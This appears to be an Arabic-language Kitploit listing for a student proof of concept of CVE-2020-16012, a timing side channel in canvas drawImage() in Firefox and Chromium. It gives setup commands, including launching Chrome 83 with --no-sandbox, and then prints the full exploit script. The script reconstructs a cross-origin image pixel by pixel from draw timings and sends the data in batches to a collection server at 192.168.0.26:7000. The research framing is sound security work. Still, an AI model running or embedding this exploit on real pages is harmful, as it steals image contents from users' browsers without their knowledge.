Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2020-16012-PoC — PoC لـ CVE-2020-16012، قناة جانبية توقيتية في drawImage في Firefox و Chrome | Kitploit
أدوات/GitHubGitHub/leopoldabgn/cve-2020-16012-poc
تحليل الثغرات الأمنيةالاستغلالأمن الويبالأوراق والأبحاثالتعلم والتعليم
GitHubleopoldabgn/cve-2020-16012-poc

CVE-2020-16012-PoC

PoC لـ CVE-2020-16012، قناة جانبية توقيتية في drawImage في Firefox و Chrome

عرض المستودع
10منذ 7 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2020-16012 | هجوم القناة الجانبية

يحتوي هذا المستودع على إثباتات المفهوم (PoCs) لـ CVE-2020-16012، وهي ثغرة قناة جانبية تم تحديدها في تنفيذ CanvasRenderingContext2D.drawImage() في Firefox و Chromium.

تم تنفيذ هذا المشروع كجهد تعاوني من قبل فريق من ستة طلاب خلال السنة الثانية من درجة الماجستير (M2).

العميل

إصدار كروم 83

رابط التثبيت

https://commondatastorage.googleapis.com/chromium-browser-snapshots/index.html?prefix=Linux_x64/756066/

أمر التشغيل

root@kitploit:~
unzip Linux...chrome.zip
cd chrome-linux/
./chrome --disable-gpu --disable-software-rasterizer --no-sandbox ../code/client/exploit.html

الخادم

تثبيت حزم بايثون

root@kitploit:~
cd code/server
pip install -r requirements.txt

تشغيل الخادم

يعمل على المنفذ 7000 على المضيف المحلي.

root@kitploit:~
python3 server.py

المخرجات

سيتم إنشاء صورة باسم output/img1.png عند الضغط على "Ctrl+C" لإيقاف الخادم.

السكربت

root@kitploit:~
<script>
  let Heatmap = null
  let ScratchContext = null

  const Width = 75
  const Height = 75

  const Iters = 200
  const BATCH_SIZE = 100 // Batch size for sending data
  
  // Server base URL
const SERVER_URL = "http://192.168.0.26:7000"

function median(lst) {
let sorted = lst.slice(0).sort()
return sorted[Math.floor(sorted.length / 2)]
}

function zeroDelay() {
return new Promise(resolve => setTimeout(resolve, 0))
}

// Function to send RGB data to a server via POST (individual method)
async function sendPixelData(x, y, rgb) {
  // Sends RGB data to the remote server
  await fetch(`${SERVER_URL}`, {
      method: "POST",
      body: JSON.stringify({ x, y, rgb }),
      headers: { "Content-Type": "application/json" }
  })
}

// Function to send a batch of pixels
async function sendPixelBatch(pixelBatch) {
  await fetch(`${SERVER_URL}/batch`, {
      method: "POST",
      body: JSON.stringify({ pixels: pixelBatch }),
      headers: { "Content-Type": "application/json" }
  });
  console.log(`Sending a batch of ${pixelBatch.length} pixels`);
}

// Function to save the image on the server
async function saveImage() {
  try {
      const response = await fetch(`${SERVER_URL}/auto-save`);
      const data = await response.json();
      
      if (response.ok) {
          displayStatus(`Image saved: ${data.path}`, true);
          // Optionally, display the saved image
          document.getElementById('saved-image').src = `${SERVER_URL}/get-latest-image?t=${Date.now()}`;
          document.getElementById('saved-image-container').style.display = 'block';
      } else {
          displayStatus(`Error: ${data.error}`, false);
      }
  } catch (error) {
      displayStatus(`Connection error: ${error.message}`, false);
  }
}

// Function to display status messages
function displayStatus(message, isSuccess) {
  const statusElement = document.getElementById('status');
  statusElement.textContent = message;
  statusElement.className = isSuccess ? 'success' : 'error';
  statusElement.style.display = 'block';
  
  // Hide the message after 5 seconds
  setTimeout(() => {
      statusElement.style.display = 'none';
  }, 5000);
}

async function timePixel(image, x, y) {
let startTime = performance.now()
for (let j = 0; j < Iters; j++) {
  ScratchContext.drawImage(image, x, y, 1, 1, 0, 0, 1024, 1024)
}
/* in Chromium, the draw operations aren't actually performed
   immediately, but only after the JavaScript thread stops. we wait
   on a timeout with a duration of zero to give the browser a chance
   to do the drawing, as otherwise we'd just be measuring the time
   taken to enqueue all of the draw operations. */
await zeroDelay()
let endTime = performance.now()

return endTime - startTime
}

function drawHeatmap(heatmap) {
let min = Math.min(...heatmap.map(l => Math.min(...l)))
let max = Math.max(...heatmap.map(l => Math.max(...l)))

Heatmap.clearRect(0, 0, Width, Height)

for (let x = 0; x < heatmap.length; x++) {
  for (let y = 0; y < heatmap[x].length; y++) {
    let color = Math.round(255 * (max - heatmap[x][y]) / (max - min))
    Heatmap.fillStyle = `rgb(${color}, ${color}, ${color})`
    Heatmap.fillRect(x, y, 1, 1)
  }
}
}

async function recoverImage(image) {
document.getElementById('progress-info').textContent = "Initializing...";

/* the first couple of measurements are always higher
   than they're supposed to be because some interpreter
   optimizations haven't kicked in yet, so we "warm up"
   the interpreter by throwing away 5 measurements. */
for (let i = 0; i < 5; i++) {
  await timePixel(image, 0, 0)
}

let pixels = [];
let allPixelData = [];
let currentBatch = [];
const totalPixels = Width * Height;
let processedPixels = 0;

document.getElementById('progress-info').textContent = "Recovery in progress...";

for (let x = 0; x < Width; x++) {
  let col = []
  for (let y = 0; y < Height; y++) {
    rgb = await timePixel(image, x, y)
    col.push(rgb)
    
    // Add pixel to the current batch
    currentBatch.push({x, y, rgb});
    processedPixels++;
    
    // Update progress indicator
    document.getElementById('progress-info').textContent = 
        `Progress: ${processedPixels}/${totalPixels} pixels (${Math.round(processedPixels/totalPixels*100)}%)`;
    
    // If batch reaches limit, send it
    if (currentBatch.length >= BATCH_SIZE) {
      await sendPixelBatch([...currentBatch]); // Copy batch to avoid reference issues
      currentBatch = []; // Reset batch
    }

    drawHeatmap(pixels.concat([col]));
  }
  pixels.push(col)
}

// Send the last batch if pixels remain
if (currentBatch.length > 0) {
  await sendPixelBatch(currentBatch);
}

drawHeatmap(pixels)
document.getElementById('progress-info').textContent = "Recovery complete!";
document.getElementById('save-btn').disabled = false;
saveImage();
}

function init() {
ScratchContext = document.getElementById('scratch').getContext('2d')
ScratchContext.imageSmoothingEnabled = false

Heatmap = document.getElementById('heatmap').getContext('2d')
Heatmap.imageSmoothingEnabled = false

// Disable save button until recovery is complete
document.getElementById('save-btn').disabled = true;

recoverImage(document.getElementById('target'))
}
</script>
تنزيل الأداة